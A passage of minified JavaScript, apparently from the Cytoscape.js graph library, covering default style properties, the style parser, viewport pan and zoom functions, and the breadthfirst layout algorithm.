t=ie({"selection-box-color":"#ddd","selection-box-opacity":.65,"selection-box-border-color":"#aaa","selection-box-border-width":1,"active-bg-color":"black","active-bg-opacity":.15,"active-bg-size":30,"outside-texture-bg-color":"#000","outside-texture-bg-opacity":.125,events:"yes","text-events":"no","text-valign":"top","text-halign":"center","text-justification":"auto","line-height":1,color:"#000","text-outline-color":"#000","text-outline-width":0,"text-outline-opacity":1,"text-opacity":1,"text-decoration":"none","text-transform":"none","text-wrap":"none","text-overflow-wrap":"whitespace","text-max-width":9999,"text-background-color":"#000","text-background-opacity":0,"text-background-shape":"rectangle","text-background-padding":0,"text-border-opacity":0,"text-border-width":0,"text-border-style":"solid","text-border-color":"#000","font-family":"Helvetica Neue, Helvetica, sans-serif","font-style":"normal","font-weight":"normal","font-size":16,"min-zoomed-font-size":0,"text-rotation":"none","source-text-rotation":"none","target-text-rotation":"none",visibility:"visible",display:"element",opacity:1,"z-compound-depth":"auto","z-index-compare":"auto","z-index":0,label:"","text-margin-x":0,"text-margin-y":0,"source-label":"","source-text-offset":0,"source-text-margin-x":0,"source-text-margin-y":0,"target-label":"","target-text-offset":0,"target-text-margin-x":0,"target-text-margin-y":0,"overlay-opacity":0,"overlay-color":"#000","overlay-padding":10,"overlay-shape":"round-rectangle","underlay-opacity":0,"underlay-color":"#000","underlay-padding":10,"underlay-shape":"round-rectangle","transition-property":"none","transition-duration":0,"transition-delay":0,"transition-timing-function":"linear","background-blacken":0,"background-color":"#999","background-fill":"solid","background-opacity":1,"background-image":"none","background-image-crossorigin":"anonymous","background-image-opacity":1,"background-image-containment":"inside","background-image-smoothing":"yes","background-position-x":"50%","background-position-y":"50%","background-offset-x":0,"background-offset-y":0,"background-width-relative-to":"include-padding","background-height-relative-to":"include-padding","background-repeat":"no-repeat","background-fit":"none","background-clip":"node","background-width":"auto","background-height":"auto","border-color":"#000","border-opacity":1,"border-width":0,"border-style":"solid",height:30,width:30,shape:"ellipse","shape-polygon-points":"-1, -1,   1, -1,   1, 1,   -1, 1","bounds-expansion":0,"background-gradient-direction":"to-bottom","background-gradient-stop-colors":"#999","background-gradient-stop-positions":"0%",ghost:"no","ghost-offset-y":0,"ghost-offset-x":0,"ghost-opacity":0,padding:0,"padding-relative-to":"width",position:"origin","compound-sizing-wrt-labels":"include","min-width":0,"min-width-bias-left":0,"min-width-bias-right":0,"min-height":0,"min-height-bias-top":0,"min-height-bias-bottom":0},{"pie-size":"100%"},[{name:"pie-{{i}}-background-color",value:"black"},{name:"pie-{{i}}-background-size",value:"0%"},{name:"pie-{{i}}-background-opacity",value:1}].reduce((function(e,t){for(var r=1;r<=is.pieBackgroundN;r++){var n=t.name.replace("{{i}}",r);var a=t.value;e[n]=a}return e}),{}),{"line-style":"solid","line-color":"#999","line-fill":"solid","line-cap":"butt","line-opacity":1,"line-gradient-stop-colors":"#999","line-gradient-stop-positions":"0%","control-point-step-size":40,"control-point-weights":.5,"segment-weights":.5,"segment-distances":20,"taxi-turn":"50%","taxi-turn-min-distance":10,"taxi-direction":"auto","edge-distances":"intersection","curve-style":"haystack","haystack-radius":0,"arrow-scale":1,"loop-direction":"-45deg","loop-sweep":"-90deg","source-distance-from-node":0,"target-distance-from-node":0,"source-endpoint":"outside-to-node","target-endpoint":"outside-to-node","line-dash-pattern":[6,3],"line-dash-offset":0},[{name:"arrow-shape",value:"none"},{name:"arrow-color",value:"#999"},{name:"arrow-fill",value:"filled"}].reduce((function(e,t){is.arrowPrefixes.forEach((function(r){var n=r+"-"+t.name;var a=t.value;e[n]=a}));return e}),{}));var r={};for(var n=0;n<this.properties.length;n++){var a=this.properties[n];if(a.pointsTo){continue}var i=a.name;var o=t[i];var s=this.parse(i,o);r[i]=s}e.defaultProperties=r;return e.defaultProperties};is.addDefaultStylesheet=function(){this.selector(":parent").css({shape:"rectangle",padding:10,"background-color":"#eee","border-color":"#ccc","border-width":1}).selector("edge").css({width:3}).selector(":loop").css({"curve-style":"bezier"}).selector("edge:compound").css({"curve-style":"bezier","source-endpoint":"outside-to-line","target-endpoint":"outside-to-line"}).selector(":selected").css({"background-color":"#0169D9","line-color":"#0169D9","source-arrow-color":"#0169D9","target-arrow-color":"#0169D9","mid-source-arrow-color":"#0169D9","mid-target-arrow-color":"#0169D9"}).selector(":parent:selected").css({"background-color":"#CCE1F9","border-color":"#aec8e5"}).selector(":active").css({"overlay-color":"black","overlay-padding":10,"overlay-opacity":.25});this.defaultLength=this.length};var os={};os.parse=function(e,t,r,n){var a=this;if(D(t)){return a.parseImplWarn(e,t,r,n)}var i=n==="mapping"||n===true||n===false||n==null?"dontcare":n;var o=r?"t":"f";var s=""+t;var u=Me(e,s,o,i);var l=a.propCache=a.propCache||[];var f;if(!(f=l[u])){f=l[u]=a.parseImplWarn(e,t,r,n)}if(r||n==="mapping"){f=Ye(f);if(f){f.value=Ye(f.value)}}return f};os.parseImplWarn=function(e,t,r,n){var a=this.parseImpl(e,t,r,n);if(!a&&t!=null){qe("The style property `".concat(e,": ").concat(t,"` is invalid"))}if(a&&(a.name==="width"||a.name==="height")&&t==="label"){qe("The style value of `label` is deprecated for `"+a.name+"`")}return a};os.parseImpl=function(e,t,r,n){var a=this;e=W(e);var i=a.properties[e];var o=t;var s=a.types;if(!i){return null}if(t===undefined){return null}if(i.alias){i=i.pointsTo;e=i.name}var u=C(t);if(u){t=t.trim()}var l=i.type;if(!l){return null}if(r&&(t===""||t===null)){return{name:e,value:t,bypass:true,deleteBypass:true}}if(D(t)){return{name:e,value:t,strValue:"fn",mapped:s.fn,bypass:r}}var f,c;if(!u||n||t.length<7||t[1]!=="a");else if(t.length>=7&&t[0]==="d"&&(f=new RegExp(s.data.regex).exec(t))){if(r){return false}var v=s.data;return{name:e,value:f,strValue:""+t,mapped:v,field:f[1],bypass:r}}else if(t.length>=10&&t[0]==="m"&&(c=new RegExp(s.mapData.regex).exec(t))){if(r){return false}if(l.multiple){return false}var d=s.mapData;if(!(l.color||l.number)){return false}var h=this.parse(e,c[4]);if(!h||h.mapped){return false}var p=this.parse(e,c[5]);if(!p||p.mapped){return false}if(h.pfValue===p.pfValue||h.strValue===p.strValue){qe("`"+e+": "+t+"` is not a valid mapper because the output range is zero; converting to `"+e+": "+h.strValue+"`");return this.parse(e,h.strValue)}else if(l.color){var g=h.value;var y=p.value;var m=g[0]===y[0]&&g[1]===y[1]&&g[2]===y[2]&&(g[3]===y[3]||(g[3]==null||g[3]===1)&&(y[3]==null||y[3]===1));if(m){return false}}return{name:e,value:c,strValue:""+t,mapped:d,field:c[1],fieldMin:parseFloat(c[2]),fieldMax:parseFloat(c[3]),valueMin:h.value,valueMax:p.value,bypass:r}}if(l.multiple&&n!=="multiple"){var b;if(u){b=t.split(/\s+/)}else if(T(t)){b=t}else{b=[t]}if(l.evenMultiple&&b.length%2!==0){return null}var x=[];var w=[];var E=[];var _="";var k=false;for(var S=0;S<b.length;S++){var P=a.parse(e,b[S],r,"multiple");k=k||C(P.value);x.push(P.value);E.push(P.pfValue!=null?P.pfValue:P.value);w.push(P.units);_+=(S>0?" ":"")+P.strValue}if(l.validate&&!l.validate(x,w)){return null}if(l.singleEnum&&k){if(x.length===1&&C(x[0])){return{name:e,value:x[0],strValue:x[0],bypass:r}}else{return null}}return{name:e,value:x,pfValue:E,strValue:_,bypass:r,units:w}}var M=function n(){for(var a=0;a<l.enums.length;a++){var i=l.enums[a];if(i===t){return{name:e,value:t,strValue:""+t,bypass:r}}}return null};if(l.number){var I;var N="px";if(l.units){I=l.units}if(l.implicitUnits){N=l.implicitUnits}if(!l.unitless){if(u){var z="px|em"+(l.allowPercent?"|\\%":"");if(I){z=I}var A=t.match("^("+$+")("+z+")?"+"$");if(A){t=A[1];I=A[2]||N}}else if(!I||l.implicitUnits){I=N}}t=parseFloat(t);if(isNaN(t)&&l.enums===undefined){return null}if(isNaN(t)&&l.enums!==undefined){t=o;return M()}if(l.integer&&!O(t)){return null}if(l.min!==undefined&&(t<l.min||l.strictMin&&t===l.min)||l.max!==undefined&&(t>l.max||l.strictMax&&t===l.max)){return null}var L={name:e,value:t,strValue:""+t+(I?I:""),units:I,bypass:r};if(l.unitless||I!=="px"&&I!=="em"){L.pfValue=t}else{L.pfValue=I==="px"||!I?t:this.getEmSizeInPixels()*t}if(I==="ms"||I==="s"){L.pfValue=I==="ms"?t:1e3*t}if(I==="deg"||I==="rad"){L.pfValue=I==="rad"?t:Mt(t)}if(I==="%"){L.pfValue=t/100}return L}else if(l.propList){var B=[];var j=""+t;if(j==="none");else{var R=j.split(/\s*,\s*|\s+/);for(var F=0;F<R.length;F++){var V=R[F].trim();if(a.properties[V]){B.push(V)}else{qe("`"+V+"` is not a valid property name")}}if(B.length===0){return null}}return{name:e,value:B,strValue:B.length===0?"none":B.join(" "),bypass:r}}else if(l.color){var q=fe(t);if(!q){return null}return{name:e,value:q,pfValue:q,strValue:"rgb("+q[0]+","+q[1]+","+q[2]+")",bypass:r}}else if(l.regex||l.regexes){if(l.enums){var G=M();if(G){return G}}var Y=l.regexes?l.regexes:[l.regex];for(var X=0;X<Y.length;X++){var H=new RegExp(Y[X]);var U=H.exec(t);if(U){return{name:e,value:l.singleRegexMatchValue?U[1]:U,strValue:""+t,bypass:r}}}return null}else if(l.string){return{name:e,value:""+t,strValue:""+t,bypass:r}}else if(l.enums){return M()}else{return null}};var ss=function e(t){if(!(this instanceof e)){return new e(t)}if(!B(t)){Fe("A style must have a core reference");return}this._private={cy:t,coreStyle:{}};this.length=0;this.resetToDefault()};var us=ss.prototype;us.instanceString=function(){return"style"};us.clear=function(){var e=this._private;var t=e.cy;var r=t.elements();for(var n=0;n<this.length;n++){this[n]=undefined}this.length=0;e.contextStyles={};e.propDiffs={};this.cleanElements(r,true);r.forEach((function(e){var t=e[0]._private;t.styleDirty=true;t.appliedInitStyle=false}));return this};us.resetToDefault=function(){this.clear();this.addDefaultStylesheet();return this};us.core=function(e){return this._private.coreStyle[e]||this.getDefaultProperty(e)};us.selector=function(e){var t=e==="core"?null:new Ba(e);var r=this.length++;this[r]={selector:t,properties:[],mappedProperties:[],index:r};return this};us.css=function(){var e=this;var t=arguments;if(t.length===1){var r=t[0];for(var n=0;n<e.properties.length;n++){var a=e.properties[n];var i=r[a.name];if(i===undefined){i=r[H(a.name)]}if(i!==undefined){this.cssRule(a.name,i)}}}else if(t.length===2){this.cssRule(t[0],t[1])}return this};us.style=us.css;us.cssRule=function(e,t){var r=this.parse(e,t);if(r){var n=this.length-1;this[n].properties.push(r);this[n].properties[r.name]=r;if(r.name.match(/pie-(\d+)-background-size/)&&r.value){this._private.hasPie=true}if(r.mapped){this[n].mappedProperties.push(r)}var a=!this[n].selector;if(a){this._private.coreStyle[r.name]=r}}return this};us.append=function(e){if(j(e)){e.appendToStyle(this)}else if(T(e)){this.appendFromJson(e)}else if(C(e)){this.appendFromString(e)}return this};ss.fromJson=function(e,t){var r=new ss(e);r.fromJson(t);return r};ss.fromString=function(e,t){return new ss(e).fromString(t)};[Zo,es,ts,rs,ns,as,is,os].forEach((function(e){ie(us,e)}));ss.types=us.types;ss.properties=us.properties;ss.propertyGroups=us.propertyGroups;ss.propertyGroupNames=us.propertyGroupNames;ss.propertyGroupKeys=us.propertyGroupKeys;var ls={style:function e(t){if(t){var r=this.setStyle(t);r.update()}return this._private.style},setStyle:function e(t){var r=this._private;if(j(t)){r.style=t.generateStyle(this)}else if(T(t)){r.style=ss.fromJson(this,t)}else if(C(t)){r.style=ss.fromString(this,t)}else{r.style=ss(this)}return r.style},updateStyle:function e(){this.mutableElements().updateStyle()}};var fs="single";var cs={autolock:function e(t){if(t!==undefined){this._private.autolock=t?true:false}else{return this._private.autolock}return this},autoungrabify:function e(t){if(t!==undefined){this._private.autoungrabify=t?true:false}else{return this._private.autoungrabify}return this},autounselectify:function e(t){if(t!==undefined){this._private.autounselectify=t?true:false}else{return this._private.autounselectify}return this},selectionType:function e(t){var r=this._private;if(r.selectionType==null){r.selectionType=fs}if(t!==undefined){if(t==="additive"||t==="single"){r.selectionType=t}}else{return r.selectionType}return this},panningEnabled:function e(t){if(t!==undefined){this._private.panningEnabled=t?true:false}else{return this._private.panningEnabled}return this},userPanningEnabled:function e(t){if(t!==undefined){this._private.userPanningEnabled=t?true:false}else{return this._private.userPanningEnabled}return this},zoomingEnabled:function e(t){if(t!==undefined){this._private.zoomingEnabled=t?true:false}else{return this._private.zoomingEnabled}return this},userZoomingEnabled:function e(t){if(t!==undefined){this._private.userZoomingEnabled=t?true:false}else{return this._private.userZoomingEnabled}return this},boxSelectionEnabled:function e(t){if(t!==undefined){this._private.boxSelectionEnabled=t?true:false}else{return this._private.boxSelectionEnabled}return this},pan:function e(){var t=arguments;var e=this._private.pan;var r,n,a,i,o;switch(t.length){case 0:return e;case 1:if(C(t[0])){r=t[0];return e[r]}else if(P(t[0])){if(!this._private.panningEnabled){return this}a=t[0];i=a.x;o=a.y;if(I(i)){e.x=i}if(I(o)){e.y=o}this.emit("pan viewport")}break;case 2:if(!this._private.panningEnabled){return this}r=t[0];n=t[1];if((r==="x"||r==="y")&&I(n)){e[r]=n}this.emit("pan viewport");break}this.notify("viewport");return this},panBy:function e(t,r){var n=arguments;var a=this._private.pan;var i,o,s,u,l;if(!this._private.panningEnabled){return this}switch(n.length){case 1:if(P(t)){s=n[0];u=s.x;l=s.y;if(I(u)){a.x+=u}if(I(l)){a.y+=l}this.emit("pan viewport")}break;case 2:i=t;o=r;if((i==="x"||i==="y")&&I(o)){a[i]+=o}this.emit("pan viewport");break}this.notify("viewport");return this},fit:function e(t,r){var n=this.getFitViewport(t,r);if(n){var a=this._private;a.zoom=n.zoom;a.pan=n.pan;this.emit("pan zoom viewport");this.notify("viewport")}return this},getFitViewport:function e(t,r){if(I(t)&&r===undefined){r=t;t=undefined}if(!this._private.panningEnabled||!this._private.zoomingEnabled){return}var n;if(C(t)){var a=t;t=this.$(a)}else if(q(t)){var i=t;n={x1:i.x1,y1:i.y1,x2:i.x2,y2:i.y2};n.w=n.x2-n.x1;n.h=n.y2-n.y1}else if(!z(t)){t=this.mutableElements()}if(z(t)&&t.empty()){return}n=n||t.boundingBox();var o=this.width();var s=this.height();var u;r=I(r)?r:0;if(!isNaN(o)&&!isNaN(s)&&o>0&&s>0&&!isNaN(n.w)&&!isNaN(n.h)&&n.w>0&&n.h>0){u=Math.min((o-2*r)/n.w,(s-2*r)/n.h);u=u>this._private.maxZoom?this._private.maxZoom:u;u=u<this._private.minZoom?this._private.minZoom:u;var l={x:(o-u*(n.x1+n.x2))/2,y:(s-u*(n.y1+n.y2))/2};return{zoom:u,pan:l}}return},zoomRange:function e(t,r){var n=this._private;if(r==null){var a=t;t=a.min;r=a.max}if(I(t)&&I(r)&&t<=r){n.minZoom=t;n.maxZoom=r}else if(I(t)&&r===undefined&&t<=n.maxZoom){n.minZoom=t}else if(I(r)&&t===undefined&&r>=n.minZoom){n.maxZoom=r}return this},minZoom:function e(t){if(t===undefined){return this._private.minZoom}else{return this.zoomRange({min:t})}},maxZoom:function e(t){if(t===undefined){return this._private.maxZoom}else{return this.zoomRange({max:t})}},getZoomedViewport:function e(t){var r=this._private;var n=r.pan;var a=r.zoom;var i;var o;var s=false;if(!r.zoomingEnabled){s=true}if(I(t)){o=t}else if(P(t)){o=t.level;if(t.position!=null){i=_t(t.position,a,n)}else if(t.renderedPosition!=null){i=t.renderedPosition}if(i!=null&&!r.panningEnabled){s=true}}o=o>r.maxZoom?r.maxZoom:o;o=o<r.minZoom?r.minZoom:o;if(s||!I(o)||o===a||i!=null&&(!I(i.x)||!I(i.y))){return null}if(i!=null){var u=n;var l=a;var f=o;var c={x:-f/l*(i.x-u.x)+i.x,y:-f/l*(i.y-u.y)+i.y};return{zoomed:true,panned:true,zoom:f,pan:c}}else{return{zoomed:true,panned:false,zoom:o,pan:n}}},zoom:function e(t){if(t===undefined){return this._private.zoom}else{var r=this.getZoomedViewport(t);var n=this._private;if(r==null||!r.zoomed){return this}n.zoom=r.zoom;if(r.panned){n.pan.x=r.pan.x;n.pan.y=r.pan.y}this.emit("zoom"+(r.panned?" pan":"")+" viewport");this.notify("viewport");return this}},viewport:function e(t){var r=this._private;var n=true;var a=true;var i=[];var o=false;var s=false;if(!t){return this}if(!I(t.zoom)){n=false}if(!P(t.pan)){a=false}if(!n&&!a){return this}if(n){var u=t.zoom;if(u<r.minZoom||u>r.maxZoom||!r.zoomingEnabled){o=true}else{r.zoom=u;i.push("zoom")}}if(a&&(!o||!t.cancelOnFailedZoom)&&r.panningEnabled){var l=t.pan;if(I(l.x)){r.pan.x=l.x;s=false}if(I(l.y)){r.pan.y=l.y;s=false}if(!s){i.push("pan")}}if(i.length>0){i.push("viewport");this.emit(i.join(" "));this.notify("viewport")}return this},center:function e(t){var r=this.getCenterPan(t);if(r){this._private.pan=r;this.emit("pan viewport");this.notify("viewport")}return this},getCenterPan:function e(t,r){if(!this._private.panningEnabled){return}if(C(t)){var n=t;t=this.mutableElements().filter(n)}else if(!z(t)){t=this.mutableElements()}if(t.length===0){return}var a=t.boundingBox();var i=this.width();var o=this.height();r=r===undefined?this._private.zoom:r;var s={x:(i-r*(a.x1+a.x2))/2,y:(o-r*(a.y1+a.y2))/2};return s},reset:function e(){if(!this._private.panningEnabled||!this._private.zoomingEnabled){return this}this.viewport({pan:{x:0,y:0},zoom:1});return this},invalidateSize:function e(){this._private.sizeCache=null},size:function e(){var t=this._private;var r=t.container;return t.sizeCache=t.sizeCache||(r?function(){var e=m.getComputedStyle(r);var t=function t(r){return parseFloat(e.getPropertyValue(r))};return{width:r.clientWidth-t("padding-left")-t("padding-right"),height:r.clientHeight-t("padding-top")-t("padding-bottom")}}():{width:1,height:1})},width:function e(){return this.size().width},height:function e(){return this.size().height},extent:function e(){var t=this._private.pan;var r=this._private.zoom;var n=this.renderedExtent();var a={x1:(n.x1-t.x)/r,x2:(n.x2-t.x)/r,y1:(n.y1-t.y)/r,y2:(n.y2-t.y)/r};a.w=a.x2-a.x1;a.h=a.y2-a.y1;return a},renderedExtent:function e(){var t=this.width();var r=this.height();return{x1:0,y1:0,x2:t,y2:r,w:t,h:r}},multiClickDebounceTime:function e(t){if(t)this._private.multiClickDebounceTime=t;else return this._private.multiClickDebounceTime;return this}};cs.centre=cs.center;cs.autolockNodes=cs.autolock;cs.autoungrabifyNodes=cs.autoungrabify;var vs={data:la.data({field:"data",bindingEvent:"data",allowBinding:true,allowSetting:true,settingEvent:"data",settingTriggersEvent:true,triggerFnName:"trigger",allowGetting:true,updateStyle:true}),removeData:la.removeData({field:"data",event:"data",triggerFnName:"trigger",triggerEvent:true,updateStyle:true}),scratch:la.data({field:"scratch",bindingEvent:"scratch",allowBinding:true,allowSetting:true,settingEvent:"scratch",settingTriggersEvent:true,triggerFnName:"trigger",allowGetting:true,updateStyle:true}),removeScratch:la.removeData({field:"scratch",event:"scratch",triggerFnName:"trigger",triggerEvent:true,updateStyle:true})};vs.attr=vs.data;vs.removeAttr=vs.removeData;var ds=function e(t){var r=this;t=ie({},t);var n=t.container;if(n&&!N(n)&&N(n[0])){n=n[0]}var a=n?n._cyreg:null;a=a||{};if(a&&a.cy){a.cy.destroy();a={}}var i=a.readies=a.readies||[];if(n){n._cyreg=a}a.cy=r;var o=m!==undefined&&n!==undefined&&!t.headless;var s=t;s.layout=ie({name:o?"grid":"null"},s.layout);s.renderer=ie({name:o?"canvas":"null"},s.renderer);var u=function e(t,r,n){if(r!==undefined){return r}else if(n!==undefined){return n}else{return t}};var l=this._private={container:n,ready:false,options:s,elements:new Do(this),listeners:[],aniEles:new Do(this),data:s.data||{},scratch:{},layout:null,renderer:null,destroyed:false,notificationsEnabled:true,minZoom:1e-50,maxZoom:1e50,zoomingEnabled:u(true,s.zoomingEnabled),userZoomingEnabled:u(true,s.userZoomingEnabled),panningEnabled:u(true,s.panningEnabled),userPanningEnabled:u(true,s.userPanningEnabled),boxSelectionEnabled:u(true,s.boxSelectionEnabled),autolock:u(false,s.autolock,s.autolockNodes),autoungrabify:u(false,s.autoungrabify,s.autoungrabifyNodes),autounselectify:u(false,s.autounselectify),styleEnabled:s.styleEnabled===undefined?o:s.styleEnabled,zoom:I(s.zoom)?s.zoom:1,pan:{x:P(s.pan)&&I(s.pan.x)?s.pan.x:0,y:P(s.pan)&&I(s.pan.y)?s.pan.y:0},animation:{current:[],queue:[]},hasCompoundNodes:false,multiClickDebounceTime:u(250,s.multiClickDebounceTime)};this.createEmitter();this.selectionType(s.selectionType);this.zoomRange({min:s.minZoom,max:s.maxZoom});var f=function e(t,r){var n=t.some(G);if(n){return na.all(t).then(r)}else{r(t)}};if(l.styleEnabled){r.setStyle([])}var c=ie({},s,s.renderer);r.initRenderer(c);var v=function e(t,n,a){r.notifications(false);var i=r.mutableElements();if(i.length>0){i.remove()}if(t!=null){if(P(t)||T(t)){r.add(t)}}r.one("layoutready",(function(e){r.notifications(true);r.emit(e);r.one("load",n);r.emitAndNotify("load")})).one("layoutstop",(function(){r.one("done",a);r.emit("done")}));var o=ie({},r._private.options.layout);o.eles=r.elements();r.layout(o).run()};f([s.style,s.elements],(function(e){var t=e[0];var n=e[1];if(l.styleEnabled){r.style().append(t)}v(n,(function(){r.startAnimationLoop();l.ready=true;if(D(s.ready)){r.on("ready",s.ready)}for(var e=0;e<i.length;e++){var t=i[e];r.on("ready",t)}if(a){a.readies=[]}r.emit("ready")}),s.done)}))};var hs=ds.prototype;ie(hs,{instanceString:function e(){return"core"},isReady:function e(){return this._private.ready},destroyed:function e(){return this._private.destroyed},ready:function e(t){if(this.isReady()){this.emitter().emit("ready",[],t)}else{this.on("ready",t)}return this},destroy:function e(){var t=this;if(t.destroyed())return;t.stopAnimationLoop();t.destroyRenderer();this.emit("destroy");t._private.destroyed=true;return t},hasElementWithId:function e(t){return this._private.elements.hasElementWithId(t)},getElementById:function e(t){return this._private.elements.getElementById(t)},hasCompoundNodes:function e(){return this._private.hasCompoundNodes},headless:function e(){return this._private.renderer.isHeadless()},styleEnabled:function e(){return this._private.styleEnabled},addToPool:function e(t){this._private.elements.merge(t);return this},removeFromPool:function e(t){this._private.elements.unmerge(t);return this},container:function e(){return this._private.container||null},mount:function e(t){if(t==null){return}var r=this;var n=r._private;var a=n.options;if(!N(t)&&N(t[0])){t=t[0]}r.stopAnimationLoop();r.destroyRenderer();n.container=t;n.styleEnabled=true;r.invalidateSize();r.initRenderer(ie({},a,a.renderer,{name:a.renderer.name==="null"?"canvas":a.renderer.name}));r.startAnimationLoop();r.style(a.style);r.emit("mount");return r},unmount:function e(){var t=this;t.stopAnimationLoop();t.destroyRenderer();t.initRenderer({name:"null"});t.emit("unmount");return t},options:function e(){return Ye(this._private.options)},json:function e(t){var r=this;var n=r._private;var a=r.mutableElements();var i=function e(t){return r.getElementById(t.id())};if(P(t)){r.startBatch();if(t.elements){var o={};var s=function e(t,n){var a=[];var i=[];for(var s=0;s<t.length;s++){var u=t[s];if(!u.data.id){qe("cy.json() cannot handle elements without an ID attribute");continue}var l=""+u.data.id;var f=r.getElementById(l);o[l]=true;if(f.length!==0){i.push({ele:f,json:u})}else{if(n){u.group=n;a.push(u)}else{a.push(u)}}}r.add(a);for(var c=0;c<i.length;c++){var v=i[c],d=v.ele,h=v.json;d.json(h)}};if(T(t.elements)){s(t.elements)}else{var u=["nodes","edges"];for(var l=0;l<u.length;l++){var f=u[l];var c=t.elements[f];if(T(c)){s(c,f)}}}var v=r.collection();a.filter((function(e){return!o[e.id()]})).forEach((function(e){if(e.isParent()){v.merge(e)}else{e.remove()}}));v.forEach((function(e){return e.children().move({parent:null})}));v.forEach((function(e){return i(e).remove()}))}if(t.style){r.style(t.style)}if(t.zoom!=null&&t.zoom!==n.zoom){r.zoom(t.zoom)}if(t.pan){if(t.pan.x!==n.pan.x||t.pan.y!==n.pan.y){r.pan(t.pan)}}if(t.data){r.data(t.data)}var d=["minZoom","maxZoom","zoomingEnabled","userZoomingEnabled","panningEnabled","userPanningEnabled","boxSelectionEnabled","autolock","autoungrabify","autounselectify","multiClickDebounceTime"];for(var h=0;h<d.length;h++){var p=d[h];if(t[p]!=null){r[p](t[p])}}r.endBatch();return this}else{var g=!!t;var e={};if(g){e.elements=this.elements().map((function(e){return e.json()}))}else{e.elements={};a.forEach((function(t){var r=t.group();if(!e.elements[r]){e.elements[r]=[]}e.elements[r].push(t.json())}))}if(this._private.styleEnabled){e.style=r.style().json()}e.data=Ye(r.data());var y=n.options;e.zoomingEnabled=n.zoomingEnabled;e.userZoomingEnabled=n.userZoomingEnabled;e.zoom=n.zoom;e.minZoom=n.minZoom;e.maxZoom=n.maxZoom;e.panningEnabled=n.panningEnabled;e.userPanningEnabled=n.userPanningEnabled;e.pan=Ye(n.pan);e.boxSelectionEnabled=n.boxSelectionEnabled;e.renderer=Ye(y.renderer);e.hideEdgesOnViewport=y.hideEdgesOnViewport;e.textureOnViewport=y.textureOnViewport;e.wheelSensitivity=y.wheelSensitivity;e.motionBlur=y.motionBlur;e.multiClickDebounceTime=y.multiClickDebounceTime;return e}}});hs.$id=hs.getElementById;[Po,Vo,Yo,Xo,Wo,Ho,Ko,$o,ls,cs,vs].forEach((function(e){ie(hs,e)}));var ps={fit:true,directed:false,padding:30,circle:false,grid:false,spacingFactor:1.75,boundingBox:undefined,avoidOverlap:true,nodeDimensionsIncludeLabels:false,roots:undefined,maximal:false,depthSort:undefined,animate:false,animationDuration:500,animationEasing:undefined,animateFilter:function e(t,r){return true},ready:undefined,stop:undefined,transform:function e(t,r){return r}};var gs=function e(t){return t.scratch("breadthfirst")};var ys=function e(t,r){return t.scratch("breadthfirst",r)};function ms(e){this.options=ie({},ps,e)}ms.prototype.run=function(){var e=this.options;var t=e;var r=e.cy;var n=t.eles;var a=n.nodes().filter((function(e){return!e.isParent()}));var i=n;var o=t.directed;var s=t.maximal||t.maximalAdjustments>0;var u=Vt(t.boundingBox?t.boundingBox:{x1:0,y1:0,w:r.width(),h:r.height()});var l;if(z(t.roots)){l=t.roots}else if(T(t.roots)){var f=[];for(var c=0;c<t.roots.length;c++){var v=t.roots[c];var d=r.getElementById(v);f.push(d)}l=r.collection(f)}else if(C(t.roots)){l=r.$(t.roots)}else{if(o){l=a.roots()}else{var h=n.components();l=r.collection();var p=function e(t){var r=h[t];var n=r.maxDegree(false);var a=r.filter((function(e){return e.degree(false)===n}));l=l.add(a)};for(var g=0;g<h.length;g++){p(g)}}}var y=[];var m={};var b=function e(t,r){if(y[r]==null){y[r]=[]}var n=y[r].length;y[r].push(t);ys(t,{index:n,depth:r})};var x=function e(t,r){var n=gs(t),a=n.depth,i=n.index;y[a][i]=null;b(t,r)};i.bfs({roots:l,directed:t.directed,visit:function e(t,r,n,a,i){var o=t[0];var s=o.id();b(o,i);m[s]=true}});var w=[];for(var E=0;E<a.length;E++){var _=a[E];if(m[_.id()]){continue}else{w.push(_)}}var k=function e(t){var r=y[t];for(var n=0;n<r.length;n++){var a=r[n];if(a==null){r.splice(n,1);n--;continue}ys(a,{depth:t,index:n})}};var S=function e(){for(var t=0;t<y.length;t++){k(t)}};var D=function e(t,r){var a=gs(t);var i=t.incomers().filter((function(e){return e.isNode()&&n.has(e)}));var o=-1;var s=t.id();for(var u=0;u<i.length;u++){var l=i[u];var f=gs(l);o=Math.max(o,f.depth)}if(a.depth<=o){if(r[s]){return null}x(t,o+1);r[s]=true;return true}return false};if(o&&s){var P=[];var M={};var I=function e(t){return P.push(t)};var O=function e(){return P.shift()};a.forEach((function(e){return P.push(e)}));while(P.length>0){var N=O();var A=D(N,M);if(A){N.outgoers().filter((function(e){return e.isNode()&&n.has(e)})).forEach(I)}else if(A===null){qe("Detected double maximal shift for node `"+N.id()+"`.  Bailing maximal adjustment due to cycle.  Use `options.maximal: true` only on DAGs.");break}}}S();var L=0;if(t.avoidOverlap){for(var B=0;B<a.length;B++){var j=a[B];var R=j.layoutDimensions(t);var F=R.w;var V=R.h;L=Math.max(L,F,V)}}var q={};var G=function e(t){if(q[t.id()]){return q[t.id()]}var r=gs(t).depth;var n=t.neighborhood();var i=0;var o=0;for(var s=0;s<n.length;s++){var u=n[s];if(u.isEdge()||u.isParent()||!a.has(u)){continue}var l=gs(u);if(l==null){continue}var f=l.index;var c=l.depth;if(f==null||c==null){continue}var v=y[c].length;if(c<r){i+=f/v;o++}}o=Math.max(1,o);i=i/o;if(o===0){i=0}q[t.id()]=i;return i};var Y=function e(t,r){var n=G(t);var a=G(r);var i=n-a;if(i===0){return ne(t.id(),r.id())}else{return i}};if(t.depthSort!==undefined){Y=t.depthSort}for(var X=0;X<y.length;X++){y[X].sort(Y);k(X)}var W=[];for(var H=0;H<w.length;H++){W.push(w[H])}y.unshift(W);S();var U=0;for(var K=0;K<y.length;K++){U=Math.max(y[K].length,U)}var $={x:u.x1+u.w/2,y:u.x1+u.h/2};var Z=y.reduce((function(e,t){return Math.max(e,t.length)}),0);var Q=function e(r){var n=gs(r),a=n.depth,i=n.index;var o=y[a].length;var s=Math.max(u.w/((t.grid?Z:o)+1),L);var l=Math.max(u.h/(y.length+1),L);var f=Math.min(u.w/2/y.length,u.h/2/y.length);f=Math.max(f,L);if(!t.circle){var c={x:$.x+(i+1-(o+1)/2)*s,y:(a+1)*l};return c}else{var v=f*a+f-(y.length>0&&y[0].length<=3?f/2:0);var d=2*Math.PI/y[a].length*i;if(a===0&&y[0].length===1){v=1}return{x:$.x+v*Math.cos(d),y:$.y+v*Math.sin(d)}}};n.nodes().layoutPositions(this,t,Q);return this};var 